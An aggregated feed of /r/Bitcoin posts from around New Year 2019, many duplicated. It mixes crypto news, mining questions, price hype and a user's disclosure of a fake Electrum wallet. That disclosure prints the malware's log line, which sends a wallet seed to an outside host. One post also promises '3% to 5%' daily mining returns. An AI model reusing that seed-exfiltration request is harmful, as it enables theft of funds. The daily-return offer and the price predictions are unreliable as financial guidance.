40% of Chinese want Bitcoin

http://bit.ly/2QbRTyB via /r/Bitcoin http://bit.ly/2VmP4P1

I've put 5% of each paycheck into bitcoin for the last 3 years.

I've used BitWage for the past 3 years to automatically get 5% of each paycheck (I'm paid weekly) in Bitcoin. During this time I've found 0 need to use my Coinbase, Circle, or Gemini accounts as now I just received bitcoins to my designated wallet the same manner I receive dollars to my checking from each paycheck. I designated a higher percentage of each check to my 401k and RothIRA and regular savings account, so Bitcoin isn't the only investment I have.IMHO earning Bitcoin > buying bitcoin (even though I guess I'm still buying bitcoin by direct depositing dollars to bitwage and them converting to Bitcoin for me). Hodl on. via /r/Bitcoin http://bit.ly/2Vk9ckB

Daily Discussion, January 01, 2019

Please utilize this sticky thread for all general Bitcoin discussions! If you see posts on the front page or /r/Bitcoin/new which are better suited for this daily discussion thread, please help out by directing the OP to this thread instead. Thank you!If you don't get an answer to your question, you can try phrasing it differently or commenting again tomorrow.We have a couple chat rooms now!GeneralPrice TalkPlease check the previous discussion thread for unanswered questions. via /r/Bitcoin http://bit.ly/2QdQmYH

Spotted in Times Square for the NYE countdown

http://bit.ly/2F07jVk

Submitted January 01, 2019 at 04:46AM by 7Lunchboxes http://bit.ly/2F1dvMe

S9 Exhaust Fan Replacement?

I'm thinking that an exhaust fan died on one of my miners.... It's been running fine like this for at least a day since I noticed only one fan showing up on the miner status page, but the chip temps are about 5-10 degrees warmer than the other three miners, and that intake fan is running at 6100rpm about 1500-2000rpm higher than normal. I have ducting and a blower fan connected to all my miners exhaust which could be whats keeping cool enough run. Either way I think its time to order some replacement fans, will any 6000rpm 120mm fan work?

https://i.redd.it/5bbj01ac0q721.png

Submitted January 01, 2019 at 10:15AM by skyhawk31echo http://bit.ly/2Qj9On6

Analysis: Bitcoin Transactions at 10-Month High While Fees at 2-Year Low

http://bit.ly/2QdJVoC

Submitted December 31, 2018 at 06:24PM by PragmaticPleb http://bit.ly/2VoE6sn

May The Bulls Be With You In This 2019!

http://bit.ly/2LG7sOk via /r/Bitcoin http://bit.ly/2s2M256

This is problem for adoption. First result with "Bitcoin wallet" search in appstore is Bitcoin com scam wallet. What can we do about this?

http://bit.ly/2AnlrnU

Submitted January 01, 2019 at 12:30AM by hodddl http://bit.ly/2SuskL4

Celebrities are back: Tony Robbins explains Bitcoin to his Twitter followers (about 3 million) and Jordan Peterson praises Bitcoin

http://bit.ly/2LH7W6N

Submitted December 31, 2018 at 09:07PM by Ishan1121 http://bit.ly/2s0F940

Wells Fargo Scams Its Clients and Bans Crypto Purchases

http://bit.ly/2AnaqTc

Submitted December 31, 2018 at 04:14PM by hamertastic3 http://bit.ly/2SvJw2z

Happy new year 2019!

http://bit.ly/2AoNF1r

Submitted January 01, 2019 at 02:51AM by kittenstips http://bit.ly/2SvfEnh

Spotted in Times Square for the NYE countdown

http://bit.ly/2F07jVk via /r/Bitcoin http://bit.ly/2F1dvMe

Happy new year 2019!

http://bit.ly/2AoNF1r via /r/Bitcoin http://bit.ly/2SvfEnh

This is problem for adoption. First result with "Bitcoin wallet" search in appstore is Bitcoin com scam wallet. What can we do about this?

http://bit.ly/2AnlrnU via /r/Bitcoin http://bit.ly/2SuskL4

Better than a lambo — HODLing gave us our second child after years of infertility.

http://bit.ly/2LENi7a

Submitted January 01, 2019 at 01:19AM by koleslaw http://bit.ly/2s1oM7e

Better than a lambo — HODLing gave us our second child after years of infertility.

http://bit.ly/2LENi7a via /r/Bitcoin http://bit.ly/2s1oM7e

Bakkt raises $182.5 million in first capital raise

http://bit.ly/2RoImbP

Submitted December 31, 2018 at 10:49PM by ymids http://bit.ly/2GWSPYm

Happy New Year From Australia. It's 2019 Here & Bitcoin Is $5330!!!

Well in AUD...

Happy New Year :)

Submitted December 31, 2018 at 09:45PM by nugget_alex http://bit.ly/2LF9XQR

Romanian website for tickets to cultural events integrates e-payments processor Netopia

http://bit.ly/2R504Sr via /r/Bitcoin http://bit.ly/2BU6rOb

Thank You Patreon, PayPal, MasterCard and Visa For Promoting Bitcoin

http://bit.ly/2Voy3UH

Submitted December 31, 2018 at 08:34PM by asso http://bit.ly/2Qia7yw

Celebrities are back: Tony Robbins explains Bitcoin to his Twitter followers (about 3 million) and Jordan Peterson praises Bitcoin

http://bit.ly/2LH7W6N via /r/Bitcoin http://bit.ly/2s0F940

Bakkt raises $182.5 million in first capital raise

http://bit.ly/2RoImbP via /r/Bitcoin http://bit.ly/2GWSPYm

Free way to earn Bitcoin (Slow process but works - tried & tested) CryptoTab Browser

http://bit.ly/2EXJ4pY

Submitted December 31, 2018 at 09:48PM by ryaster2 http://bit.ly/2F1DwMf

Two Mining Companies Among Georgia’s Major Electricity Consumers

http://bit.ly/2EZkXal

Submitted December 31, 2018 at 09:54PM by raaner12 http://bit.ly/2EVtX12

Freedom is in sight

http://bit.ly/2RwpZ5b

Submitted December 31, 2018 at 07:08AM by attarus http://bit.ly/2GQI1L5

Happy New Year From Australia. It's 2019 Here & Bitcoin Is $5330!!!

Well in AUD...Happy New Year :) via /r/Bitcoin http://bit.ly/2LF9XQR

Analysis: Bitcoin Transactions at 10-Month High While Fees at 2-Year Low

http://bit.ly/2QdJVoC via /r/Bitcoin http://bit.ly/2VoE6sn

I'm Going To Buy So Much BTC on New Years Eve!

http://bit.ly/2Qb0eTa

Submitted December 31, 2018 at 07:38AM by attarus http://bit.ly/2Vm6NWS

Mining under £600 (UK) affordable start up

Hi there, so I have been doing a lot of research and... i just want to jump in and try it. However, this is just for fun for me, I am not interested in making a profit. To start I just want to start small, but I hear a lot of bad reviews on usb sticks with mining software on.

I cannot afford to jump in with a GPU, so it has to be something like the Antminer s9. This is the best for value that I have seen so far. What are your thoughts on this?

Next: would you buy it second hand or brand new. Right now brand new on amazon is £320. On ebay you are looking at £200. I think it is better to splash out and get a guarentee? Thoughts?

Or should I go cheap cheap and just play around with minor currencies and small blocks? And get the usb stick or a s6 or something ancient? I read that you get pushed out though as it just cannot compete with new software.

Next: a 1000w power supply. Brand new or second hand? I think brand new is £100. Thoughts? And does it make a difference which one?

Next: is a hard drive to store bitcoins necessary? I think thats about £60 on amazon.

Next: PSU, is it worth it? Is it worth looking into over clockers?

I want to keep my initial investment below £500, if I make that back I will re invest it :)

Any help would be great!!

Submitted December 31, 2018 at 09:02PM by ryaster2 http://bit.ly/2QYwv4Z

Thank You Patreon, PayPal, MasterCard and Visa For Promoting Bitcoin

http://bit.ly/2Voy3UH via /r/Bitcoin http://bit.ly/2Qia7yw

Tony Robbins tells 3+ million followers that Bitcoin has "No single bank, government, company or individual owns the network or has control over it - " you're account can't be frozen"

https://twitter.com/bitcoinister/status/1079629030553473026

Submitted December 31, 2018 at 02:45PM by Suberg http://bit.ly/2Soe6ey

I started working on a small web dashboard called 'lndash' for lightning/lnd. Here is the progress so far.

http://bit.ly/2TlhO8H via /r/Bitcoin http://bit.ly/2CJ71jv

Wells Fargo Scams Its Clients and Bans Crypto Purchases

http://bit.ly/2AnaqTc via /r/Bitcoin http://bit.ly/2SvJw2z

My wife asked me to make a shape for the cookies she was baking using my most memorable things this year!

http://bit.ly/2LElYWI

Submitted December 31, 2018 at 06:28AM by legovadim http://bit.ly/2s0FuUl

Last Day Of Mega New Year Sale Offer 2018.Up To 50% Off On ICO software Script & Crypto Mining Script.

http://bit.ly/2EP0khb

Submitted December 31, 2018 at 05:04PM by Taja_Taine http://bit.ly/2EX2sEl

Get Instant Customer Support to Buy Bitcoin Easily

http://bit.ly/2EXlcCX

Submitted December 31, 2018 at 05:21PM by davidfrank12 http://bit.ly/2EWNChf

Tony Robbins tells 3+ million followers that Bitcoin has "No single bank, government, company or individual owns the network or has control over it - " you're account can't be frozen"

https://twitter.com/bitcoinister/status/1079629030553473026 via /r/Bitcoin http://bit.ly/2Soe6ey

Jordan Peterson tweets - "Time magazine praises Bitcoin as a potential bastion of freedom"

https://twitter.com/jordanbpeterson/status/1079534451078713344?s=19

Submitted December 31, 2018 at 10:12AM by Fly115 http://bit.ly/2Q96P0p

Daily Discussion, December 31, 2018

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LibrePatron: A Self-Hosted Patreon Alternative backed by BTCPay Server

http://bit.ly/2Qb0bXu

Submitted December 31, 2018 at 08:08AM by NimbleBodhi http://bit.ly/2VhgMwo

Remember the Pineapple Fund

For those who weren't around to witness the Pinapple Fund, you should learn about the Pineapple Fund. Tonight I'm raising a glass in thanks to u/PineappleFund and their generosity.

Pineapple Fund was an experiment in philanthropy with cryptocurrency wealth. What happens when your 'play-money' becomes a treasure chest, and you're past the satiety point of money?

I decided to donate the majority of my cryptocurrency to charities around the world, with an open application process and funding charities big and small. I focused on causes I believe in, or causes I know will work from my experiences.

Timed with the 2017 crypto bubble, 5104 BTC was turned into $55 million for charities. I'm happy and proud of the impact that will come, mostly thanks to the amazing charities and the dedicated people behind them.

I'm going to remain anonymous, because the point of the Pineapple Fund is not me. I consider this project a success. If you're ever blessed with crypto fortune, consider supporting what you aspire our world to be :)

Learn more at https://pineapplefund.org/

Submitted December 31, 2018 at 08:05AM by charlespax http://bit.ly/2RtVAUK

How Much Per kWh Can Bitcoin Mining Make?

Due to an oversized solar array, I have about 10 kW of unused energy per hour during daylight hours. How much can you make per kWh in Bitcoin assuming your electrical cost is zero?

If part of that answer is "it depends on your mining hardware" then could someone supply a table showing the current market cost for each kind of miner and the expected power draw in kW of each model? Which mining hardware would give the most mining power per dollar spent?

This mining profitability calculator seems to give the main variables.
https://www.coinwarz.com/calculators/bitcoin-mining-calculator/?h=23000.00&p=1541.00&pc=0.0&pf=0.00&d=5106422924659.82000000&r=12.50000000&er=3895.50000000&hc=0.00 Do I just need to plug in my expected hash rate, energy consumption in watts, and electrical cost of zero?

This article seems to suggest that in Jan 2018 the break-even price was $3900 per bitcoin, which corresponded to an electrical cost of 3 cents per kWh.
https://medium.com/@hodlmodel/breakeven-price-of-btc-mining-i-bitmains-49-hashrate-694a5699fa37 Obviously that was a different world than today, but I wonder if things would be migrating - when bitcoin pricing is falling sharply - towards that break-even electrical cost of 3 cents per kWh. If yes, mining bitcoin with the available free electricity seems like a poor investment.

Submitted December 31, 2018 at 11:07AM by smorgasmic http://bit.ly/2LHnsQ6

Jordan Peterson tweets - "Time magazine praises Bitcoin as a potential bastion of freedom"

https://twitter.com/jordanbpeterson/status/1079534451078713344?s=19 via /r/Bitcoin http://bit.ly/2Q96P0p

I'm Going To Buy So Much BTC on New Years Eve!

http://bit.ly/2Qb0eTa via /r/Bitcoin http://bit.ly/2Vm6NWS

LibrePatron: A Self-Hosted Patreon Alternative backed by BTCPay Server

http://bit.ly/2Qb0bXu via /r/Bitcoin http://bit.ly/2VhgMwo

Bitcoin ATM in Toronto that teaches how to buy and sell

http://bit.ly/2EWmRbO

Submitted December 31, 2018 at 01:49AM by Zoltarr777 http://bit.ly/2EWP5UH

Remember the Pineapple Fund

For those who weren't around to witness the Pinapple Fund, you should learn about the Pineapple Fund. Tonight I'm raising a glass in thanks to u/PineappleFund and their generosity.Pineapple Fund was an experiment in philanthropy with cryptocurrency wealth. What happens when your 'play-money' becomes a treasure chest, and you're past the satiety point of money?I decided to donate the majority of my cryptocurrency to charities around the world, with an open application process and funding charities big and small. I focused on causes I believe in, or causes I know will work from my experiences.Timed with the 2017 crypto bubble, 5104 BTC was turned into $55 million for charities. I'm happy and proud of the impact that will come, mostly thanks to the amazing charities and the dedicated people behind them.I'm going to remain anonymous, because the point of the Pineapple Fund is not me. I consider this project a success. If you're ever blessed with crypto fortune, consider supporting what you aspire our world to be :)Learn more at http://bit.ly/2z94GfI via /r/Bitcoin http://bit.ly/2RtVAUK

Parliament Warns Iran Might Get Hyperinflation By End Of March 2019 (Got Bitcoin?)

http://bit.ly/2LGQdMW via /r/Bitcoin http://bit.ly/2s0Lcpa

My wife asked me to make a shape for the cookies she was baking using my most memorable things this year!

http://bit.ly/2LElYWI via /r/Bitcoin http://bit.ly/2s0FuUl

Total profit from buying and selling Bitcoin on each day of 2017 and 2018

http://bit.ly/2EWmOwE

Submitted December 31, 2018 at 03:50AM by pandas_as_pd http://bit.ly/2EXu3oY

Bitcoin ATM in Toronto that teaches how to buy and sell

http://bit.ly/2EWmRbO via /r/Bitcoin http://bit.ly/2EWP5UH

Total profit from buying and selling Bitcoin on each day of 2017 and 2018

http://bit.ly/2EWmOwE via /r/Bitcoin http://bit.ly/2EXu3oY

I have created a tool that fixes a mistyped Bitcoin WIF Private Key or restores up to 4-5 missing characters. It's free and open for everybody. Hope it helps

http://bit.ly/2RjGpO7 via /r/Bitcoin http://bit.ly/2GK06ug

I have created a tool that fixes a mistyped Bitcoin WIF Private Key or restores up to 4-5 missing characters. It's free and open for everybody. Hope it helps

http://bit.ly/2RjGpO7

Submitted December 31, 2018 at 12:58AM by ishristov http://bit.ly/2GK06ug

New open source Bitcoin libraries for BIP32, BIP44, bech32, libbitcoin & BTCPay Server released

http://bit.ly/2Sr0UWd

Submitted December 30, 2018 at 08:20PM by lclc_ http://bit.ly/2AwTZEj

Wouldn’t want to be that guy

http://bit.ly/2StVWrK

Submitted December 30, 2018 at 10:35PM by fittes7 http://bit.ly/2Ap6jGr

Cyberattack Disrupts Printing of Major Newspapers

By DAVID E. SANGER and NICOLE PERLROTH via NYT Media https://nyti.ms/2LGViov

Bitcoin Miners Eviscerated: Japan's GMO Shuts Down Cryptocurrency Mining Hardware Division

http://bit.ly/2AmbiaT

Submitted December 31, 2018 at 03:04AM by cybersofts http://bit.ly/2BN6lba

Chinese Media: Jihan Wu, Micree Zhan Stepping Down as Bitmain CEOs

http://bit.ly/2QaDbaX

Submitted December 31, 2018 at 02:49AM by cybersofts http://bit.ly/2VitpYg

What you do with your mined bitcoin matters.

I see a lot of people posting about different projects related to ecommerce and how this is the best path to adoption. I agree, using crypto as a currency is the best way to increase adoption, and thus marketcap of the coins. Its in everyones best interest to use and adopt crypto.

I wanted to take the time and come up with a brief list of different services and ways to use/spend crypto.

Great for the average person

Forra.io - A cryptocurrency ecommerce marketplace

Great for business owners

paybear.io

coinpayments.io

Submitted December 31, 2018 at 03:00AM by inEthos http://bit.ly/2VcNDCu

Simple mining

I have a decent computer I use for gaming, but when I am not home I would still like it to be used. I believe it is an i5 with a GTX 750. Is it any use?

Submitted December 31, 2018 at 02:26AM by MattK3566 http://bit.ly/2QcKtLc

Bitcoin Knots 0.17.1.knots20181229 released! 🎉

http://bit.ly/2R2hxew

Submitted December 30, 2018 at 02:26PM by luke-jr http://bit.ly/2BPf5gL

Bitcoin Subreddit Grew 61% In 2018, Even Amid Crypto Winter

http://bit.ly/2s2skGC

Submitted December 30, 2018 at 07:55PM by morphex_exchange http://bit.ly/2LF4NUT

At the end of an exhibit about addiction, there is a wall upon which people can share their addictions. Which one of you did this?

http://bit.ly/2CEZSka via /r/Bitcoin http://bit.ly/2ThkKDl

Loyalty: Opennode turns down $1.25 million from Roger Ver and sticks to Bitcoin

http://bit.ly/2BLzpzD

Submitted December 30, 2018 at 07:13PM by Ishan1121 http://bit.ly/2QUmbLg

Wouldn’t want to be that guy

http://bit.ly/2StVWrK via /r/Bitcoin http://bit.ly/2Ap6jGr

New open source Bitcoin libraries for BIP32, BIP44, bech32, libbitcoin & BTCPay Server released

http://bit.ly/2Sr0UWd via /r/Bitcoin http://bit.ly/2AwTZEj

These Barts are getting out of hand...

http://bit.ly/2AnP3Bz

Submitted December 30, 2018 at 08:38PM by tripleclutch http://bit.ly/2SmXG6a

Jumping on the Mining craze (In the UK) Wanting advice please

It seems with the stock market of bitcoin becoming more stable that it is a good time to jump on to Bitcoin and Alt coin mining. This is not because I want passive income or to get rich, I just want to learn and be pro-active. Electricity is not a problem. However, start up capital is.

​

I have low (average) spec computers and a small budget - but very low cost electricity. I do not mind if it is not profitable as I just want to learn and get into it. I want to start by Solo mining but I am open to cloud mining as well. I have been told it is best to start with lower currencies to learn the software as you find more blocks more often (lower value).

​

First question: Is it best to start with a BitMain antminer USB to the computer or to go all in with an old S9 Antminer or to go brand new? I want to keep my initial investment low to learn the software and system. So I am thinking the BitMain Antminer is best for me (around £45-55) rather than a second hand s9 Antminer (£200-300). Please can you tell me some good start up software to buy from ebay etc.

​

Second question: This is related to the initial set up of the piece of software in question and how to decrypt blocks when found.

​

Any further advice/help would be greatly appreciated - I am going to be buying some software and doing some more research in the next week. I have a E-Wallet on CoinBase and BlockChain already as I own a few cyrpto-currency at the moment.

​

Thank you for your time!

Submitted December 30, 2018 at 10:55PM by ryaster2 http://bit.ly/2F09ckj

German Startup Devises Eco-Friendly Energy-Efficient Miners

http://bit.ly/2EWAFTR

Submitted December 30, 2018 at 10:59PM by miningbizco http://bit.ly/2EZ2o7c

Bitcoin Subreddit Grew 61% In 2018, Even Amid Crypto Winter

http://bit.ly/2s2skGC via /r/Bitcoin http://bit.ly/2LF4NUT

The Economics of Bitcoin | Malavika Nair

https://youtu.be/DMoTSJjPCkQ via /r/Bitcoin http://bit.ly/2LG8Gcf

You can pay with Bitcoin on the Lush website!

http://bit.ly/2RmyAab

Submitted December 30, 2018 at 04:48PM by misseviej http://bit.ly/2GK0vwE

Rumors Claim Bitmain's Jihan Wu Stepping Down

http://bit.ly/2TdvW3O

Submitted December 30, 2018 at 09:59PM by SaneFive http://bit.ly/2CGCaUy

There some things MasterCard can buy, for everything else there is Bitcoin

https://twitter.com/getongab/status/1079037572704198656

Submitted December 30, 2018 at 11:08AM by Bitcoin1776 http://bit.ly/2LHeimt

Bitcoin Machine Spotted in Taiwan

http://bit.ly/2Ss4nE1

Submitted December 30, 2018 at 07:35AM by cmajorlips http://bit.ly/2Am7kz0

Bitcoin Q&A: How do LN payment channels work?

https://youtu.be/DAuNlOfws0o

Submitted December 30, 2018 at 03:12AM by DarthCoinMaster http://bit.ly/2Su5T8I

These Barts are getting out of hand...

http://bit.ly/2AnP3Bz via /r/Bitcoin http://bit.ly/2SmXG6a

Loyalty: Opennode turns down $1.25 million from Roger Ver and sticks to Bitcoin

http://bit.ly/2BLzpzD via /r/Bitcoin http://bit.ly/2QUmbLg

You can pay with Bitcoin on the Lush website!

http://bit.ly/2RmyAab via /r/Bitcoin http://bit.ly/2GK0vwE

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Submitted December 30, 2018 at 05:14PM by Niftygeek http://bit.ly/2BLsUN9

Bitcoin Knots 0.17.1.knots20181229 released! 🎉

http://bit.ly/2R2hxew via /r/Bitcoin http://bit.ly/2BPf5gL

Daily Discussion, December 30, 2018

Please utilize this sticky thread for all general Bitcoin discussions! If you see posts on the front page or /r/Bitcoin/new which are better suited for this daily discussion thread, please help out by directing the OP to this thread instead. Thank you!If you don't get an answer to your question, you can try phrasing it differently or commenting again tomorrow.We have a couple chat rooms now!GeneralPrice TalkPlease check the previous discussion thread for unanswered questions. via /r/Bitcoin http://bit.ly/2AnT4WC

There some things MasterCard can buy, for everything else there is Bitcoin

https://twitter.com/getongab/status/1079037572704198656 via /r/Bitcoin http://bit.ly/2LHeimt

Bitcoin Mining for a Noob

I've gone through this forum a bit but to be honest, it's all pretty overwhelming and I'm not sure where to start.

That said, this isn't my first rodeo and I've been in the BTC world for a while now and have just finished setting up my CASA Node and I want to do more.

(The node is pretty cool, by the way. It did take a few hours to set up with port-fwding and what not, but it really was an enjoyable experience. I don't expect to make any money with it, but as the proud owner of both a BTC and LN node, I'm proud to be contributing to the network; which is why I'm now looking at mining a little more seriously.)

I have no intention of turning a profit, but if I can come close to at least break-even on the electricity costs with pooled mining that would be nice. I have no concerns regarding initial capital investment in equipment as I have just liquidated some old BTG that had been sitting on a paper wallet for forever. Probably should have cashed those out when they were floating around $350USD and not a $14, but dem the bricks. I didn't have the software to do it at the time, but I still made a killing dumping my BCH! haha!

My main question is regarding if this is really within the reach of a non power-user? I have very scant experience with command line code, but if the guide is simple enough, I'm sure I can follow things step by step.

I'm thinking of getting a used miner and rack. Just one should be fun to play around with to start obviously. If anyone has recommendations for rigs and set-ups, I'd greatly appreciate it!

Submitted December 30, 2018 at 01:31PM by Atlas_84 http://bit.ly/2CEeDn5

Who else feels really good about buying in right now?

48 hours remain until 2019, and bitties are hella cheap right now. 2018 is done, 2019 is... hell, NO ONE has any idea what the fuck is about to happen in 2019. Not just for bitcoin, but for anything. We're quite literally in.. brand new territory. We're pioneers on this new, futuristic horizon. I can tell that 2019 is going to be a good year. It feels so damn good. Things are going to change. Things are going to get turned over. Things are going to take off.
I believe that. And I feel that right now, Bitcoin is the cheapest that it will be, for a very long time. Now is the fucking time.
No one is talking about Bit. This is the time. I tasted success in the last run. Bitcoin actually seems to make its big changes at a yearly basis. I don't think it's coincidence that going into 2019, it is so low.
My stocks have been suffering, which leads me to believe that the dollar is.. more volatile than it has been in recent years. This gives me more reason to believe that Bitcoin will re-emerge as a currency. I believe people will say "Oh YEAH. Remember that crypto currency that blew up last year? Let's look into THAT."
Banks will realize the power of Bitcoin. Businesses. Well, more businesses (A LOT of vendors accept Bitcoin these days, if you simply inquire about it.) will.
I'm feeling so damn good about this. For people that bought in at 6500k or higher, maybe for you, this sucks. But for us getting in right now, there's no better feeling.
Let's jig off this bitcoin in 2019 boys.

Submitted December 30, 2018 at 05:33AM by toreachtheapex http://bit.ly/2TfSyAM

Roger Ver offered us $1.25mm to accept Bcash. We said no.

https://twitter.com/ruigomeseu/status/1079191202061275136?s=21

Submitted December 30, 2018 at 09:59AM by ruigomeseu http://bit.ly/2AklqkA

OpenNode rejects Roger Ver's 1.25MM offer to add Bcash to their platform!!

https://twitter.com/OpenNodeCo/status/1079180653416103941

Submitted December 30, 2018 at 09:06AM by bits-is-life http://bit.ly/2SwOGvy

Roger Ver offered us $1.25mm to accept Bcash. We said no.

https://twitter.com/ruigomeseu/status/1079191202061275136?s=21 via /r/Bitcoin http://bit.ly/2AklqkA

OpenNode rejects Roger Ver's 1.25MM offer to add Bcash to their platform!!

https://twitter.com/OpenNodeCo/status/1079180653416103941 via /r/Bitcoin http://bit.ly/2SwOGvy

Adoption Curve Turning On !

http://bit.ly/2EWPW6T

Submitted December 29, 2018 at 08:27PM by donareign http://bit.ly/2EWQOto

Who else feels really good about buying in right now?

48 hours remain until 2019, and bitties are hella cheap right now. 2018 is done, 2019 is... hell, NO ONE has any idea what the fuck is about to happen in 2019. Not just for bitcoin, but for anything. We're quite literally in.. brand new territory. We're pioneers on this new, futuristic horizon. I can tell that 2019 is going to be a good year. It feels so damn good. Things are going to change. Things are going to get turned over. Things are going to take off.I believe that. And I feel that right now, Bitcoin is the cheapest that it will be, for a very long time. Now is the fucking time.No one is talking about Bit. This is the time. I tasted success in the last run. Bitcoin actually seems to make its big changes at a yearly basis. I don't think it's coincidence that going into 2019, it is so low.My stocks have been suffering, which leads me to believe that the dollar is.. more volatile than it has been in recent years. This gives me more reason to believe that Bitcoin will re-emerge as a currency. I believe people will say "Oh YEAH. Remember that crypto currency that blew up last year? Let's look into THAT."Banks will realize the power of Bitcoin. Businesses. Well, more businesses (A LOT of vendors accept Bitcoin these days, if you simply inquire about it.) will.I'm feeling so damn good about this. For people that bought in at 6500k or higher, maybe for you, this sucks. But for us getting in right now, there's no better feeling.Let's jig off this bitcoin in 2019 boys. via /r/Bitcoin http://bit.ly/2TfSyAM

At my local train station

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Submitted December 30, 2018 at 04:02AM by naugie_b http://bit.ly/2AkLfB4

Use Bitcoin! Customers Condemn PayPal After It 'Bans' The Hacker News

http://bit.ly/2Sn77Ct

Submitted December 30, 2018 at 03:07AM by Suberg http://bit.ly/2AmD1Ip

Bitcoin Q&A: How do LN payment channels work?

https://youtu.be/DAuNlOfws0o via /r/Bitcoin http://bit.ly/2Su5T8I

TIME: Bitcoin Should Be World Priority; Samsung Crypto Wallet; Ledger Security

https://youtu.be/wnM3Mqi9HYM via /r/Bitcoin http://bit.ly/2EVbQZl

Venezuelans Trade Bolivars for Bitcoin Amidst Runaway Inflation

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At my local train station

http://bit.ly/2SyJDdG via /r/Bitcoin http://bit.ly/2AkLfB4

Use Bitcoin! Customers Condemn PayPal After It 'Bans' The Hacker News

http://bit.ly/2Sn77Ct via /r/Bitcoin http://bit.ly/2AmD1Ip

TIME: Bitcoin Should Be World Priority; Samsung Crypto Wallet; Ledger Security

https://youtu.be/wnM3Mqi9HYM

Submitted December 30, 2018 at 01:01AM by cryptoviser http://bit.ly/2EVbQZl

Venezuelans Trade Bolivars for Bitcoin Amidst Runaway Inflation

http://bit.ly/2EYNE88

Submitted December 30, 2018 at 01:41AM by cryptoslate http://bit.ly/2EVSNxa

Amara's Law. "We overestimate the short term and underestimate the long term." Bitcoin is not where people think it should be today but it will be way beyond anyones wildest dreams in five short years from now.

http://bit.ly/2LLCiVX

Submitted December 30, 2018 at 01:17AM by slvbtc http://bit.ly/2s2nCZn

The Federal Reserve Actually Understands Bitcoin, Sees No Point in a 'FedCoin'

http://bit.ly/2QVAn6P

Submitted December 29, 2018 at 01:35PM by Suberg http://bit.ly/2BOznqy

caught http://bit.ly/2BMFKuM wallet red-handing trying to steal bitcoin keys!

Before installing electrum god in a virtual machine, I had disconnected its network adapter. The wallet really did not like this, and terminated with the following python error:

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urllib3.exceptions.MaxRetryError: HTTPConnectionPool(host='ethereumdark.io', port=80): Max retries exceeded with url: /electrum/seeds.php?seed=wife+scar+free+royal+...+grey (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7fafcf62cb38>: Failed to establish a new connection: [Errno -2] Name or service not known',))

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It immediately tried to reach the ethereumdark.io site with a view on transmitting the electrum seed to the /electrum/seeds.php?seed={seed} script.

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If you want to reproduce the thefting attempt, do the following:

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[1] install Virtualbox or similar

[2] create a virtual machine

[3] download the wallet from https://electrumgod.org

[4] download system-level dependencies: sudo apt-get install python3-setuptools python3-pyqt5 python3-pip

[5] download python3-level dependencies: cd electrum; sudo python3 -m pip install .

[6] disconnect the virtual machine from the network

[7] run: ./electrum

[8] generate a new seed during first run in the startup wizard

[9] watch the abnormal end while the wallet tries to upload your seed to ethereumdark.io

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REMARK: This should remind you that whatever else you do, you should NEVER allow the secrets to touch the network.

That is why it is so important to export unsigned transaction to the network-disconnected signer (virtual) machine, sign the transaction there, and import the signed transaction back to the network-connected viewer (virtual) machine.

In that case, even if the wallet is subverted, corrupted, or infected, it will not be able to steal your secrets.

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Submitted December 29, 2018 at 09:49AM by mimblezimble http://bit.ly/2QY7rv2

Survey: Nearly 40% of Chinese Would Like to Invest in Bitcoin Despite Prolonged Bear

http://bit.ly/2rYTHkE

Submitted December 29, 2018 at 05:36PM by eviade8btc http://bit.ly/2LCONCU

How long before every new phone incorporates a bitcoin wallet that runs in a secure area of the phone? Seems like already HTC and Samsung are adding these features.

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Submitted December 29, 2018 at 04:02PM by kolinHall http://bit.ly/2rZzDyw

Quick Update

17,450,000 bitcoins have been mined over the last ten years (83%).

3,550,000 left to mine over the next one hundred odd years (17%).

Fifteen years is enough time for any new technology to gain mainstream adoption, so if mainstream adoption is going to occour chances are it will happen within the next five years.

Over the next five years only 1,971,000 bitcoins will be mined. That is only 11% of the amount of new bitcoin we have mined over the last decade.

If new demand does nothing but stay the same we will see fire works due to this massive supply reduction over the next five years. If demand flows into the realm of institutional finance well, you do the math.

Only 11% of the supply mixed with one hundred times the demand, that would mean 2017 was a warm up just to get you all ready for whats coming.

On a serious note it blows my mind how people still dismiss this fact. They cannot grasp the idea of digital scarcity.

If you told anyone with a brain that over the next five years the new supply of mined gold was going to fall by 89% compared with the last decade, and at the same time the first gold ETF is going to launch making gold available to own on traditional brokerage platforms, they would say motherfucker that sounds like the biggest investment opportunity of a lifetime. Yet thats exactly whats happening with bitcoin and the masses remain completely dismissive.

Their loss is our gain.

Submitted December 29, 2018 at 09:00PM by slvbtc http://bit.ly/2Tc8Cn8

Amara's Law. "We overestimate the short term and underestimate the long term." Bitcoin is not where people think it should be today but it will be way beyond anyones wildest dreams in five short years from now.

http://bit.ly/2LLCiVX via /r/Bitcoin http://bit.ly/2s2nCZn

WSJ: Bitcoin trading at a 0.84 correlation with gold

https://on.wsj.com/2EWe4HR

Submitted December 29, 2018 at 02:38AM by junglehypothesis http://bit.ly/2EVoXJa

Paypal has banned The Hacker News, let's help them switch to Bitcoin

https://twitter.com/TheHackersNews/status/1078907851995860992

Submitted December 29, 2018 at 08:05PM by alexk111 http://bit.ly/2CFO94P

Jihan Wu and Micree Zhan Alleged Stepping Down as CEOs of Bitmain |

http://bit.ly/2LDbuXD via /r/Bitcoin http://bit.ly/2s0O2dP

Mine your bitcoin?? Hit me up

I’m currently affiliated with a very reliable bitcoin mining company, That gives 3% to 5% profit of your investment daily

Submitted December 29, 2018 at 08:18PM by teebilli http://bit.ly/2AkYd1m

German Startup Devises Eco-Friendly Energy-Efficient Miners

http://bit.ly/2AnPifN

Submitted December 29, 2018 at 08:43PM by raaner12 http://bit.ly/2StvQ8o

Do you think it would be worth investing $100?

Okay so i am a 14 year old who doesn’t have much money and i really think bitcoin is the best, I’ve been wanting to get some for a while but I’m not sure if it would be worth investing the $100 that i have. I know its kinda awkward but i just want to know what you guys think.

Submitted December 29, 2018 at 08:32AM by dootiedog http://bit.ly/2SpMdD1

Quick Update

17,450,000 bitcoins have been mined over the last ten years (83%).3,550,000 left to mine over the next one hundred odd years (17%).Fifteen years is enough time for any new technology to gain mainstream adoption, so if mainstream adoption is going to occour chances are it will happen within the next five years.Over the next five years only 1,971,000 bitcoins will be mined. That is only 11% of the amount of new bitcoin we have mined over the last decade.If new demand does nothing but stay the same we will see fire works due to this massive supply reduction over the next five years. If demand flows into the realm of institutional finance well, you do the math.Only 11% of the supply mixed with one hundred times the demand, that would mean 2017 was a warm up just to get you all ready for whats coming.On a serious note it blows my mind how people still dismiss this fact. They cannot grasp the idea of digital scarcity.If you told anyone with a brain that over the next five years the new supply of mined gold was going to fall by 89% compared with the last decade, and at the same time the first gold ETF is going to launch making gold available to own on traditional brokerage platforms, they would say 